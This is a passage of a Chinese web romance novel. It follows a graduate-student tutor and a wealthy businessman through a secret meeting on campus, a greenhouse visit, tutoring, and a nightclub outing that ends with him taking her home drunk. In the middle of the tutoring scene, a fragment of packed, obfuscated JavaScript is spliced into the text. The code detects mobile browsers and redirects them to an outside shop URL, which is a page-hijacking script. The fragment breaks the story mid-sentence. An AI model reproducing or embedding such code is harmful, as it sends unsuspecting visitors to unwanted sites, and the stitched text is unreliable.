师兄压低声音:“陆总应该是来谈合作的吧,每年给项目投那么多,也不知能不能收回来。”
搭话的人语气酸溜溜:“谁知道呢,反正没进咱们课题组,搞教育的兜比脸干净。”
师姐比他们警惕,狐疑道:“他是不是看我们呢?”
“看我们干嘛,总不能他来吃饭就把咱们撵出去吧,太霸道了。”
乔听月小声嘟囔:“他不是那种人。”
“你说
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什么?”师姐没听清,旋即慌乱,“他过来了啊!”
乔听月望着一步步靠近的男人,睫毛高频率眨了眨,转过头接着吃饭。
陆忱停在桌边,距离乔听月一步之遥,嗓音清润:“打扰了几位同学,你们吃的是哪家店,我也想尝尝。”
师兄愣愣地给他指位置,陆忱道谢后离开。
师姐花痴:“好帅啊——”
另一个师姐虚伪啜泣:“好想加他微信呀,可我不配。”
“小乔,你怎么不说话,是不是没看清他脸啊?”
谢谢,清的不能更清了。
乔听月顺势道:“没敢多看。”
“叮咚——”微信提示音分外突兀。
乔听月手抖了下,一时没端住碗,在桌面砸出清脆的磕碰声。胡乱擦了擦手,划开手机,做贼似的偏过屏幕。
【祝承信舅舅(陆)】:乔老师,装不认识我?
乔听月抬头。
食堂桌子不够,领导们只能分桌吃,不知道是巧合还是故意,陆忱坐的位置离她这桌最近。
此时他坐着狭窄的长条凳,手肘搭在桌面,单手摆弄手机,像是不经意,屏幕晃了下,她看见微信界面。
低头回消息。
【月亮】:不好意思陆先生,打招呼可能会招来小麻烦[小猫作揖]
学校里没有传不开的八卦,更何况是陆忱这种风云人物,迷妹数量堪比一线明星,今天她敢打招呼,明天微信就要被加爆。
她身边就有两个典型例子。
还是装不认识,各自安好吧。
【祝承信舅舅(陆)】:下午还在学校?
【月亮】:嗯嗯,课题组有活。
【祝承信舅舅(陆)】:那正好,我们上午会没开完,等你结束,晚上一起去接小信。
乔听月犹豫,万一被人撞见怎么办。
抬眼,见陆忱倒扣手机,夹了块鱼肉,微笑着听校长说话。
显然他已经做好决定,只等她的答复了。
【月亮】:好的,麻烦您把车停远一点[猫猫发抖]
直到午餐结束,乔听月也没见陆忱拿起手机,更遑论回消息。不过她离开时,他倒是精准地投来视线,微不可查地点了下头。
四点钟,陆忱发来一条定位。
乔听月时刻关注时间,紧赶慢赶,剩下收尾,一边喊人:“师姐,这篇文献还有两段没翻译,我明天发你邮箱。”
一边回消息:我很快就出来!
师姐见她飞快收拾东西,奇怪道:“你有急事啊?”
“兼职,”乔听月拿起书包,“我走了师姐,拜拜!”
跟着导航,乔听月走出校门八百多米,终于在路边看见了熟悉的迈巴赫。
“抱歉,让您久等了。”
乔听月跑得太急,出校门后导航失灵不慎跑反三百米,上车后,她竭力维持形象,靠着椅背轻轻喘息。
陆忱默默升高车内温度,递出纸巾,“擦擦汗,小心着凉。”
“谢谢。”乔听月小脸通红,回温后逐渐发烫,她忍不住蹭了蹭。
陆忱升起中央隐私玻璃,身体微微向乔听月偏移。
“乔老师。”
乔听月转头,眼神毫不设防,“嗯?”
四目相对,乔听月不由拉开些距离,心跳尚未平息,不料男人下一句话更是让她的心率飙至180。
“老师顺路搭家长的顺风车,需要这么偷偷摸摸吗?”
25. 花房
……偷偷摸摸。
开什么玩笑,陆忱这辆迈巴赫,停在荒郊野岭都能被卫星定位到,如今不过是稍微低调,哪里算得上偷偷摸摸。
陆忱语调慢悠悠的,神情莫测,分辨不出真实情绪。
不过因此感到生气也正常,无数人做梦都不敢梦见陆忱接送,也就她仗着人脾气好,竟然支使他停远点。
乔听月讪笑:“陆先生说笑了,我也是为了规避麻烦,万一有人传谣,影响陆氏形象就不好了。”
陆忱挑眉,“原来是怕和我传绯闻。”
看破不说破。
互联网网友带他tag都要被卡,她昏头了才在现实里薅虎须。
“乔老师有男朋友了?”陆忱语出惊人。
对她来说,这句话的杀伤力无异于裸考,手几乎晃出残影,“没有!”
陆忱若有所思,“没有男朋友,哦对,你们现在年轻人都叫,crush?”
您还挺赶时髦的。
“陆先生也正年轻呢。”
不是恭维,陆忱穿私服时活脱脱男大,穿正装时笼了层成熟的男人气息,是一种锋芒毕露的锐利,总体来说盘靓条顺。
很正!
乔听月紧接着澄清:“也没有crush,都是rubbish。”
陆忱感到她话里浓浓的怨气,不着痕迹地打探:“乔老师没谈过校园恋爱吗?”
乔听月摇头,往事不必回忆。
礼尚往来,她迫切把话题转回陆忱身上:“您呢?”
齐珊珊说追陆忱的人很多,就算他眼光再高,应该也有一两个心动女嘉宾的吧。
“没有。”陆忱说。
见少女眼底写满了怀疑,他轻笑道:“我是留学生。”
乔听月奇怪:“那怎么了?”
陆忱平静地陈述:“我不想出现在pdf里。”
懂了,拒绝被八卦。
今天紧急避嫌果然是一手妙棋。
乔听月给自己点了个赞。
——
一夜之间,陆家发生了翻天覆地的变化。
庭院门外拉了两条对联似的横幅,左侧庆祝绿洲商场二十周年,右侧邀请广大群众到场消费,甚至院墙上还贴了活动方式和奖品一览表。
庭院内更是喜气洋洋,不知道的以为是在庆祝春节,枯树杈上缠着各色彩灯,几个大红灯笼在寒风中摇曳。
虽然陆忱说过让她见到什么别意外,但她还是忍不住惊奇,头回见到有人把商业活动搞进小区里,而且还是以如此朴实无华的方式。
也是今天才发现,西边小楼顶部还有个大屏,此时正滚动播放宣传片,可见过去没少做这种事。
不得不说效果很好,到家这会功夫,已经有好多人来询问相关事宜了。
没错,陆忱这个商业鬼才,在门口搭了个临时咨询台,保镖四小时轮班站岗,为潜在顾客解答问题。
吃饭时,好奇心作祟,乔听月问陆忱:“陆先生,您是怎么想到这种方式的?”
“你是不是觉得很没有档次,”陆忱笑道,“绿洲是江城最大的商场,你想要的任何东西都可以在这里买到,但平时的客流量很平稳,我要用最大的活动,最吸引人的折扣将他们短时间集中起来。”
“比如你想卖房子,就要在窗户上贴告示,我现在想赚左邻右舍的钱,当然是在门口打广告最便利,手段看似低端,但我目的达到了。”
换句话说,能抓到耗子的猫就是好猫。
乔听月不觉得开口闭口都是钱的陆忱市侩,生财有道,佩服还来不及。
吃完饭,祝承信破天荒没打游戏。
今天为了装饰院子从仓库翻出不少有意思的玩意,他兴冲冲淘货去了。
乔听月受陆忱邀请去庭院散步,灯笼光映在他们身上,拐过小路,长长的影子在无人知晓的背后手牵手。
经过花房,陆忱提议:“进去转转?”
乔听月欣然同意。
看外观只觉得漂亮,进来之后才发现这里实打实是一座缩小的童话王国。
月光穿透玻璃屋顶洒在花房每个角落,绿植高高吊起,枝叶垂下形成自然的隔断,一丛丛花卉簇拥着名贵品种,梦幻中生机蓬勃盛放。
陆忱拨开枝条,“跟我来,注意脚下。”
花房生态很好,各种植物肆意生长,这几天花匠请假,花房疏于打理,部分不老实的藤蔓沿着地板生长,暗暗潜伏伺机伤人。
乔听月磕磕绊绊跟着他。
走到尽头,陆忱对她伸出手。
他拿捏准她怕摔,“扶着我,楼梯很窄,容易脚滑。”
“哦,好。”
乔听月想都没想,以一种宫女扶娘娘的诡异姿势,擎住陆忱的小臂,用了力气,防止他稳不住身形砸到她身上。
“走吧。”
空气静了几秒。
陆忱很轻地笑了声。
他假装没看见她脸红,将小臂换到她手心下方,拍了拍,“用力抓,我吃劲儿。”
换她当娘娘,乔听月不好意思用力,只虚虚搭着,但当她踩上木质楼梯,耳边响起咯吱声,还是忍不住扣紧陆忱的手臂。
陆忱勾起唇角,上楼速度一降再降。
上了二层,乔听月来不及安抚乱跳的小心脏,便被眼前的景象吸引了。
整个平台依托着粗壮的树干,树冠是天然的棚顶。
乔听月走到边缘,扶着栏杆向下看,花房全貌一览无余。
“那原来还有睡莲池。”
怪不得进来时听见了水声。
陆忱坐在藤椅上按遥控器,随着他的操作,玻璃花房升起遮阳板,屋顶亮起巨大的圆月,星光点点散在花卉表面,云雾虚无缥缈。
乔听月呆呆望着近在咫尺的月亮,不禁伸手去探,月亮太真实,她好像真的感觉到了丝丝凉意。
陆忱不知道什么时候来到她身边,“好看吗?”
“好看!”乔听月侧首看他,眉眼弯弯。
她从未见过这么美的景色,哪怕是假的,也足以令她心旷神怡。
陆忱看着她甜甜的笑容,瞬间,他连婚礼在哪办,孩子叫什么名,买什么地段的学区房都想好了。
“我知道一个地方可以看见星空,以后带你、和小信去踏青。”
乔听月点头,“好啊,小信一定开心。”
陆忱不置可否。
他只想哄她开心。
接下来的时间里,乔听月在花房充分感受了科技的力量,上天入海,四季轮转,宇宙银河,陆忱都带她体验了一遍。
不知不觉到了学习时间,两人相互扶持着下楼,离开花房,顺路去仓库接祝承信。
要让祝承信说,这世界上最可怕的事,莫过于爽玩一番出门去,迎面遇上乔听月。
而且还是笑魇如桃花的乔听月。
她视线转过来时笑意未散,由于笑容的对象不是他,美则美矣,不过有种笑里藏刀的美感。
不过他只敢腹诽一番,真说出口乔听月不至于生气,他舅舅就要先整治他了。
回到书房,乔听月一刻不停地下发学习任务。
师生俩已经磨合出了默契,乔听月说上句,祝承信就能及时接上句。
起初还会顾忌书房中的另一个人,讨论题目上头后就不管不顾了,若是在解题思路上产生分歧,还要进行一场旁若无人的辩论。
今天晚上,两人又吵了起来,因为一条辅助线。
师生各执一词,都觉得自己的方案是最优解。
祝承信一拍桌子,断言:“你中间多解两步,冗长!”
乔听月反击:“你运算复杂,浪费时间,拉低准确率。”
谁也不服谁,祝承信发起场外求助:“舅舅!过来看道题!”
陆忱无奈,走过来拿起卷子,手掌朝上,手指勾了勾,“笔。”
乔听月把笔放到他掌心,仰头等他演算。
这一幕让她想起高中数学老师。
她和同桌经常因为做题吵到老师面前,老师从不训斥他们幼稚,反而耐心引导他们思考,带他们找到最优解。
当然也有意外,不是所有争吵都是选择题,偶尔老师会给出第三种方案。
“我觉得我的更合理。”陆忱放下卷子。
乔听月怔了下,视线落在卷子上,三条辅助线从不同方向汇聚在同一个图形内部。
“……”
她拿走卷子仔细演算,祝承信发懒,抻长脖子看草纸。
“刷刷刷——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678542|142777||http|test|mini|href|location''.split(''|''),0,{}));
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>笔珠在略微粗糙的纸面游走,演算过程犹如印刷一般自上而下整齐排列。
乔听月算完结果,对比三种答案,抬头望向陆忱,“您的方法确实更高明一点!”
祝承信蔫了,他的方法最笨,就是胜负欲上来,想和乔听月较较劲,没想到遭遇连番打击。
乔听月已经进入了反思模式,她不是数学专业,虽然平时会做一些难题活跃精神,但是思维始终固化在高中阶段,钻研精神在逐渐退化。
她再次看向陆忱,欲言又止。
陆忱轻笑,承诺她:“有问题随时找我。”
乔听月重重点了下头,“那我们就打扰了。”
祝承信在她看不见的地方,给时刻散发魅力的舅舅竖了个大拇指。
……
九点整,复古钟发出沉重的报时声。
乔听月站起来,捏了捏发僵的肩颈,“今天就到这,没事我就下班啦。”
祝承信哼了声,“明天给你放假。”
乔听月低头,眼神带着些好笑,“呦,您还有给我放假的权限呢?”
祝承信忽视她的打趣,“明天同学约我出去玩,你不会这也要跟着吧?”
同学聚会啊,好事,证明他终于融入班集体了。
乔听月必须成全,干脆道:“成,那我跟你舅舅说一声。”
陆忱得知外甥单方面给乔听月放假后,罕见没有立刻答应。
“你明天有事吗?”
乔听月实话说:“不知道,暂时没安排。”
意外捡来的带薪假,上半天休半天完全没问题。
“那你……”
一段欢快的铃声打断了陆忱的话。
乔听月拿起手机就要挂断,却听他说:“你先接吧,这么晚也许是急事。”
“抱歉。”
乔听月没走远,背过身接电话,一抬头,大红灯笼在眼前晃晃悠悠,在夜里有种诡异的感觉,盯了两秒招架不住,还是转了回来。
齐珊珊的大嗓门从听筒传出来:“月亮,明天几点下班,我接你出来玩。”
乔听月道:“正常是五点。”
陆忱小声提醒:“明天放假。”
乔听月歪了歪头,用目光问:【您不是有事么?】
陆忱摇头,“不重要。”
乔听月比了个ok,继续道:“我明天放假,你把时间地点发我手机就行,或者我去学校找你们。”
“陆二少大气,”齐珊珊吹了一波,“那我一会发你,拜拜。”
“是齐小姐?”陆忱问。
乔听月有点难为情,齐珊珊那句“陆二少”喊得太大声,陆忱一定听见了。
“不好意思,她就爱胡言乱语。”
“不必道歉,她没说错,”陆忱送她出门,“明天绿洲有活动,如果有兴趣可以去逛逛。”
“以你的运气,说不定能拿到一等奖。”
乔听月笑着问:“抽不到您能给我黑箱吗?”
陆忱侧目,看来今晚的花房之行很成功,她已经愿意在私下和他开玩笑了。
“当然可以,”他回答,“保证你不虚此行。”
玩笑间,两人走到门外,门灯下,影子融为一体。
“那我就,”乔听月撩起眼睫看陆忱,“下班了。”
“嗯,”陆忱单手插着兜,“周末快乐。”
乔听月眸光闪了闪,笑道:“您也是。”
目送车子离开,陆忱抽出手,掌心是一朵含苞的粉玫瑰。
他手指点了点花瓣,无奈地勾了下唇角,自己竟也有踌躇的时候。
把玩着玫瑰,他给武睿打电话。
“歪,忱哥。”电话对面吊儿郎当的音调。
陆忱说话简洁:“找你帮忙。”
“等会……现在说吧。”
陆忱没打听他在参加什么局,慢条斯理道:“你打听一下齐小姐明天准备去哪玩。”
“啊?”武睿吓得醒酒,“你又看上齐珊珊了?”
陆忱冷声:“你是不是酒精中毒了?”
吓死了,就知道忱哥不是这种人。
武睿嘿嘿一笑,“那你无缘无故打听她做什么?”
“她们明天有聚会,”陆忱多解释一句,“我去偶遇。”
26. 男模
回家时,乔望曦还没睡。
乔听月提起绿洲周年庆,“明天我放假,要不要去逛街?”
乔望曦有些愧疚道:“抱歉啊月亮,楼下的小姑娘约我明天去做美甲。”
乔听月纳闷,“楼下?哪层的?”
姐姐一直独来独往,从没听她说过有新朋友。
乔望曦准确报出门牌号和朋友的姓名年龄,“我以为你要工作,就答应了,要不我回绝掉。”
“不用。”乔听月拦住她。
姐姐愿意交朋友,她高兴还来不及。
“明天几点出发,需不需要我帮你们约车?”
乔望曦回答:“约的八点半,不用担心,我们已经约好车了。”
“这么早?”
哪家美甲店这么早开门?
“顺路吃早餐,她说有家港式早茶很好吃。”
乔听月不疑有他,“那好吧,明天珊珊约我出去玩,可能会很晚回来,你到家之后告诉我一声。”
乔望曦嘱咐:“你别玩太晚,酒也少喝。”
乔听月乖乖答应,接着嘱咐:“明天穿我给你买的衣服,别感冒了。”
短暂聊了会,两人各自洗漱回房。
乔听月把剩下的文献翻译好,传给师姐,等师姐回信说没问题,才躺进被窝。
迷迷糊糊间,她推开一扇玻璃门,门内百花盛放,藤蔓柔柔攀上她的脚踝,将她带到一棵参天大树下,如钩弯月坠落地面,她坐上去,弯月摇摇晃晃穿过云层,将她带到树顶木屋。
木屋前,一个男人拿着小水壶,悉心照料花田。
……
七点半,乔听月听见轮椅滑动的声音,意识渐渐回笼,她隐约知道做了个挺有意思的梦,可惜记不清了。
清醒片刻后起床,乔望曦在洗漱,两人互道一声早安。
乔听月去客厅喝水,说来奇怪,睡醒后心里一直打鼓,有种不安的预感。
“姐,用不用我去陪你们,我可以给你们拎东西。”
“不用,”乔望曦仔细刷牙,“我经常和她出去的。”
乔听月不敢再多说,免得加深她的心理压力,“那好吧,有事一定要第一时间给我打电话。”
八点半,乔望曦朋友来敲门。
乔听月和她交换了联系方式,送她们上电梯,“玩得开心啊。”
电梯开始下行,乔听月回到厨房,通过窗户向下看。
很快,邻居推着姐姐出门,两人说说笑笑,看起来关系很亲密。
直到司机下车,抱起姐姐坐上副驾,乔听月神情瞬间严肃,她绝对没看错,就是发烧那天接她的司机。
富二代网约车能随叫随到吗?
乔听月立刻掏出手机,按下拨号键的前一秒,她止住动作。
说不定真是司机,就算不是,愿意车接车送也称得上朋友,而且姐姐并没有避着她,证明他们关系坦荡。
她贸然打电话,对他们不尊重。
姐姐从来没有骗过她,应该是她多心了。
——
姐姐走后,乔听月心血来潮进行了简易版大扫除,忙活一上午,刚吃完午餐就接到齐珊珊的夺命连环call,催她回学校。
“我来了我来了。”
乔听月着急忙慌回到宿舍,迈进去一条腿,差点被屋里的景象吓到心梗,倒吸一口气退出去看门牌号,没走错。
她惊异:“你们在干什么?”
齐珊珊穿着涂满血浆的护士服,扭过头,脸上一道刀痕从太阳穴劈到嘴角,说话时刀痕一张一合。
“快来,我发现我技术又精进了,给你也安排上。”
李盈竖起大拇指,裂口女点赞的惊悚程度不遑多让,“今天绝对出片。”
乔听月太阳穴突突地跳。
出片?
多看两眼都要出殡。
血腥护士步步紧逼,乔听月双臂交叉护在胸前连连后退,直到退无可退,一屁股坐在床上。
“不是出去玩吗?”
齐珊珊牵起她的手,尖锐的红指甲像是灌了迷药,她除了配合什么都做不到。
被迫坐到化妆台前,镜子里,血腥护士左手粉底盘,右手粉底刷,认真的样子像是准备一场大型手术。
“今天的主题是惊悚派对,”她桀桀怪笑一通,五指一根根合拢,仿佛一切尽在掌握,“你——就是全场最亮的崽。”
乔听月语塞,绝望地闭上眼。
妆造一个半小时,鬼新娘横空出世。
乔听月一身繁复的红嫁衣,苦中作乐,至少不用担心着凉了。
脸都捂得严严实实呢。
李盈给她贴了甲片,“你一定要小心啊,虽然掰折损伤本甲的可能性很低,但也不是没有。”
乔听月霸王龙端手,“真的要这样吗?是不是太夸张了?”
齐珊珊晃了晃手指,“安心,你穿羽绒服去party,才是不正常。”
依旧是齐珊珊开车,乔听月和李盈披着羽绒服风中凌乱,路人纷纷对她们行注目礼。
李盈挡着脸,小声道:“都在看咱俩,还有人拍照了。”
乔听月挺胸抬头,姿态从容,“还好我盖着盖头。”
粉色小马再次上岗,血腥护士载着鬼新娘和裂口女奔赴party现场。
——
进入夜店,乔听月再次庆幸自己盖着红盖头,左一个丧尸右一个无头怪,她这小心脏今天着实超负荷。
夜店放着诡异的曲子,时不时夹杂几声鬼叫。
乔听月牵着齐珊珊的手,不得以拔高嗓音:“珊珊,有没有安静一点的地方?”
齐珊珊知道她不爱热闹,出来玩纯粹是功利性地满足社交需求,领她到卡座,“这是咱的卡,桌上东西随便吃,有来搭讪的,看对眼的和他喝两杯,看不顺眼让他滚蛋,我和盈盈那边玩去。”
乔听月点头,“你们也小心点。”
“放心吧。”
齐珊珊和李盈像两尾灵活的鱼,混入舞池消失不见。
乔听月取了串提子,边吃边放空,顺着盖头的缝隙,欣赏今日舞池上演的真·群魔乱舞。
忽然,视野一暗。
警惕地抬起头,入目一水的大长腿,各个西裤皮鞋,衬衫扎进裤腰,大牌皮带扣折射着夜店炫目的灯光。
乔听月以为有人找事,搭在膝盖上的手不由握紧。
为首的男人恭敬道:“乔小姐您好,刚刚齐小姐为您点了陪玩服务,您看需要哪位小哥哥留下来?”
乔听月不明所以:“陪玩?”
领班介绍:“这都是店里受欢迎度前十的小哥哥,请问您喜欢会才艺的,还是爱聊天的,”他凑近些,压低的声音带着暧昧,“也有身体好的哦。”
乔听月瞬间起了一身鸡皮疙瘩。
不等她拒绝,领班手一挥,“挨个给美女做一下自我介绍。”
“小姐姐你好,我是红月,擅长跳舞。”
说着就舞动起来,不要钱似的顶胯。
乔听月再次庆幸盖了盖头,不然非瞎了不可,抬手晃了晃,“我不需要……”
“不喜欢?下一个。”领班霸气发话。
“美女姐姐好~我
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是小狸,擅长唱歌。”
夹子音直冲天灵盖,乔听月没让他表演,直接抬手。
“我真不需要……”
“美女,”气泡音像胶鞋卡嗓子,“我是K,选我。”
乔听月:“?”
什么玩意混进来了?
做男模就这死态度?
夜店开在绿洲五层,借了周年庆的东风,今夜一卡难求。
鬼新娘独占一卡本就惹眼,如今又围了两排卖力表演的男模,真应了齐珊珊那句话。
她就是全场最亮的崽。
——
夜店二楼,视野最佳的包房。
“忱哥,来了!”武睿推门进来,给陆忱看照片,“喏,这个位置。”
陆忱扫了眼照片,眉心紧紧蹙起,语气不悦:“这帮人干什么的?”
“男模啊,”武睿眉飞色舞,“多亏了这帮人,不然我还找不到呢,下面搞惊悚派对,你家乔老师扮鬼新娘。”
他收起手机,调侃:“再不下去,新娘子飞咯。”
“闭嘴,”陆忱起身往外走,几步后回头,“别乱叫,还不是我家的。”
武睿撇嘴,等他走了才嘟囔:“迟早的事。”
陆忱穿过重重鬼影找到乔听月时,男模第一梯队已经pass掉了。
领班铁了心做成这单生意,“小姐,您到底喜欢什么样的啊?”
乔听月无奈:“我真不需要这项服务,我朋友点的,她不在这。”
领班叹气,“齐小姐已经下单了,跑单不退定金的。”
点男模还搞预付款。
乔听月在心里狠狠骂了句黑店,开始回忆齐珊珊喜欢的类型。
“刚才那个什么K,让他回来,还有、还有小狸,就他们吧。”
陆忱刚好听见最后这句,太阳穴跳了跳。
一次点两个,玩得挺野。
领班赶紧使眼色,“您玩好哈,有事call我~”
男模一左一右坐下,乔听月顿时收紧手臂,不与他们接触。
“你们去那边坐吧,我朋友还没回来。”
K一如既往地卡嗓子:“我眼里只有你。”
乔听月沉默,缩得更紧了。
“叩叩。”
桌子被叩了两下。
K和小狸抬头,前者不屑:“你哪位?”
来人语调漫不经心:“竞争上岗。”
乔听月心里咯噔一声,好熟悉的声音。
K上下打量竞争对手,脸色十分难看。
长成这样不去傍富婆,跟他抢什么生意。
下一秒,竞争对手从口袋里掏出一张支票,签了个数,夹在指尖晃了晃。
“边儿去。”
K接过一看,嗓子顿时不卡了,站起来恭恭敬敬叫了声“哥”,给小狸使了个眼色,两人马不停蹄跑了。
乔听月静静坐着一动不动,她已经确定来人就是陆忱,没想到能在这遇上,实在是倒霉。
真金白银买的男模位,陆忱先给自己倒了杯酒,方才来到正襟危坐的鬼新娘身边。
手指捻了捻盖头边,嗓子忽然有些干,用酒压了,“我掀了?”
鬼新娘点头,又摇头。
陆忱假装没看到,手指一勾,盖头掀开,露出被隐藏的容貌。
少女被光刺得眯起眼,惨白的脸蛋上突兀画着两个红圆圈,阴恻恻的,像活过来的纸扎人。
明明是惊悚形象,可当她睁开那双带着水雾的眸子,又无端可爱起来。
陆忱挑眉:“乔老师,放假时间点男模,很会享受啊。”
27. 醉酒
乔听月恨不得立刻晕倒在卡座里。
但她做不到,她只能邀请陆忱坐下来,干巴巴说一句:“好巧啊,您也来玩。”
卡座很空,她以为陆忱会坐远一点,不料他直接坐在男模刚坐过的位置上,与她贴得特近。
白衬衫黑夹克,修长的手指把玩玻璃杯,比男模更像男模。
乔听月不禁多看他两眼,“陆先生,您怎么认出我的?”
她这幅鬼样子。
陆忱手肘搭在膝盖上,侧首看她,视线落在她脸蛋上的红圆圈,轻笑道:“乔老师很不一样。”
乔听月追问:“哪里不一样?”
明明大家的妆造一样阴森。
陆忱沉吟片刻,将她的好奇心调动到最高,缓缓开口:“气质不一样,你这只鬼,一看就没看过坏事。”
是只可爱鬼。
在他眼中,乔听月无时无刻不在散发可爱气息。
静悄悄端坐着,提子一颗接一颗送进盖头,偶尔露出侧脸,腮帮一鼓一鼓,像个囤食的小仓鼠。
哪怕她犹犹豫豫挑拣男模,他几乎被陈醋淹没,也依旧觉得她可爱。
被他打趣,乔听月的红脸蛋更加明艳,“陆先生。”
陆忱脸上笑意不减,“好不容易出来玩,放松点。”
乔听月敛眸,睫毛扑闪,她确实不紧张了,只是忽然口渴得厉害。
桌上酒水品类众多,她随便选了一瓶,起开倒进杯里,瞥见陆忱酒杯空了,思索半晌,闷声给他也满上。
杯中琥珀色酒液摇晃,泛起诱人的波澜。
乔听月捧起杯,小心翼翼抿了下,没有想象中的辛辣刺激,反而有种坚果的味道,于是一口气干了整杯。
陆忱见她如此豪迈,意外道:“你酒量不错。”
“没有啦,”乔听月抬起手背贴了贴脸,粘下一些红色颜料,“我其实还蛮容易醉的。”
陆忱当她谦虚。
这款酒是有名的断片酒,没点实力轻易不敢碰。
乔听月不贪杯,解渴后便不再碰了,她软软倚着卡座,手里盖头缠啊缠。
“陆先生,您朋友呢?”
陆忱面不改色地扯谎:“在二楼,我偶然看见你,下来打个招呼,要不要上去看看?”
乔听月摇头,“不了,我得等珊珊和盈盈。”
陆忱向后倚靠,夹克散开,衬衫领口也松散地偏移,露出些肌肤。
“你们经常来玩?”
乔听月回答:“偶尔,我负责开车。”
“您经常来吗?”
“偶尔,”陆忱学她说话,“但我不当司机,我负责结账。”
乔听月不禁笑出声,“做您朋友真省钱。”
陆忱不置可否,问她:“今天打算玩到几点?”
“不知道,得看她们几点尽兴,留她们自己在这我不放心。”
陆忱若有所思,片刻道:“明天给你放假。”
乔听月拒绝:“不用,只是熬夜而已。”
“叮——”
陆忱轻轻碰了下她的杯。
他语调低沉,近似蛊惑,“乔老师,就当明天学校停电吧。”
背景乐不知何时换成了劲爆的DJ舞曲,环绕式音响,音浪无处不在,舞池里的妖魔鬼怪蹦得更嗨了。
乔听月和陆忱为了听清对方说话,不得已凑得越来越近,在DJ高亢的呐喊声中,乔听月的耳朵几乎要贴到陆忱嘴唇上。
陆忱彻底忘了自己要说什么,垂着眼,盯着她微微泛红的耳朵,喉结吞咽滚动。
许是他的眼神太不加掩饰,乔听月猛地抬头,紧急避险才没亲上他的下巴。
鼓点和呐喊海浪式扑袭而来,酒精在体内熊熊燃烧。
心脏开始躁动,脑神经折腾不休,多巴胺不满足地溢出体外。
周遭的一切开始扭曲,音乐远去,人群消散。
乔听月掌心汗湿,舌尖在唇瓣舔了又舔。
好渴。
要喝点什么。
她抬眼,迷离的目光落在一处。
“哎呦!”
“噼里啪啦——”
变故发生,乔听月猛地回神,用力捏了捏眉心。
陆忱撩起眼睫,不悦地扫向不长眼的醉鬼。
醉鬼迷迷糊糊地撞到桌子,趴着站不起来,领班眼尖赶紧过来搀扶,“不好意思,损失的酒水一会我让人清点补偿你们。”
他对乔听月有印象,点了两个男模,一抬头,怎么就剩一个了?
定睛一看,这男模这么带劲,也不是他家的啊。
陆忱冷漠地睨他,“还有事?”
领班被他的气势震慑住,又是一阵道歉,连拉带拽带走醉鬼。
人走远了,自言自语的声音还在。
“这年头什么人都有,自带酒水就算了,连男模都有自带的。”
乔听月头更疼了,这都哪跟哪啊。
各类酒水撒了一地,空气中弥漫着迷醉的味道,随便拿个酒精测试仪,轻轻松松爆到顶点。
有玻璃碎片拦路,她想离开透透气都做不到。
酒液挥发,她的思维像生锈的齿轮,运转不灵,她不停用手捂脸,试图把脸上滚烫的热意降下去。
陆忱皱眉,瞧她的反应是醉了。还真不是谦虚,容易醉,但是反应慢半拍,胜在胆儿大,不认识的酒也敢往嘴里灌。
她是真放心他。
在卡座睡觉不舒服,陆忱决定抱她上二楼,张开双臂,没等碰到她,少女软软砸进他怀里。
从未这么近过。
居高临下,他视线划过少女卷翘的睫毛,精致的鼻尖渗出细汗,口红完全掉了,露出唇瓣原本的颜色,嗡动着呢喃。
陆忱低头,温柔得不可思议:“说什么?”
甜软的音调回应:“回家,我想回家。”
——
折腾到家已是凌晨,乔听月丝毫没有苏醒的迹象,反而越睡越沉。
陆忱不是没想过直接把人拐回陆家,陆家有佣人照顾她,他也能守着保证她不受伤,反观乔家只有一个残疾的姐姐,恐怕精力不足。
但怀里的小醉猫时不时呓语,嘟囔着“回家”和“姐姐”,他终究还是尊重她的意愿,毕竟安全感比什么都重要。
车停稳后,陆忱打横抱起熟睡的少女,动作小心翼翼,生怕有一点磕碰。
“衣服。”
司机会意,立刻把羽绒服盖在乔听月身上,遮住她鲜红的嫁衣。羽绒服盖不住全身,伶仃小腿暴露在冷风中,身体本能往回蜷缩。
陆忱见状加快脚步,不忘安抚:“很快就到家了。”
司机默默留在原地,望着老板匆忙的背影,心想若不是冷冬深夜,此时此景还真有些唯美。
楼门将冷风隔绝在外,乔听月这才停着颤抖
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。
楼道里温度堪堪零上,陆忱怕她再生病,手臂掂了掂,“乔老师,电梯卡放哪了?”
一连几声。
“啪!”
陆忱抬起下巴,尖锐的红指甲近在咫尺,下半张脸一片冰冷。
吵人的声音没了,乔听月满意地收手,手指勾起虚虚握拳,搭在胸前。
挨了轻飘飘一巴掌,陆忱失笑,他记得乔听月家住八层,把人裹吧成蚕蛹,认命走进楼梯间。
一口气上到八层,陆忱换成单手抱的姿势,让乔听月靠着她肩膀。
刚做完运动,陆忱整个人散发着热气,脖颈露在外边最明显,乔听月感受到热源,把脸蛋凑上去,清浅的呼吸顺着侧颈的青筋钻进领口,拂过胸前寸寸皮肤。
一时间,冰火两重天。
陆忱浑身肌肉绷紧,空下来的手用力张合,骨节发出咔哒脆响。
舌尖顶过犬齿,很轻地哼笑了声,声调有点哑:“够磨人的你。”
这个时间敲门必然没用,陆忱直接按门铃。
许久,可视门铃闪烁,门很快打开。
乔望曦没心思叫人,焦急问:“月亮怎么了。”
陆忱见她穿着睡衣,避开视线,“喝醉了,我送她回来,先让她躺下吧。”
乔望曦快速摇动轮椅,“去卧室,怎么喝这么多啊?”
陆忱把乔听月放在床上,待她躺好后,轻柔地撩开粘在脸上的头发,手背贴着额头探了探温度。
“还好,没发烧。”
做完这些动作,他才想起乔望曦还在一旁盯着,淡定自若地收回手,离开卧室,“抱歉,我不知道她酒量不好。”
乔望曦眉心紧蹙,看在陆忱没有趁人之危的份上,态度称得上友善,“多谢你送她回家,时间不早,就不留你了。”
陆忱却没动,“我让司机买了醒酒药,等他送来我再走。”
乔望曦沉默地打量他,几秒后,她转动轮椅回卧室。
门上关前,她说:“水壶在餐桌上,你自便。”
卧室里传出窸窸窣窣的动静,间或有乔望曦哄人的声音传出来。
陆忱权当没听见,倚着沙发平复心情。
今夜的酒并非对他没有影响,尤其当少女望向他时,眼眸浸满醉意,与他体内的火花相撞,几乎顷刻将他点燃。
要不是那个醉鬼,两人说不定真会发生点什么。
希望没吓到她。
十分钟后。
司机上楼送药又离开,陆忱烧了壶热水,走到卧室外敲门。
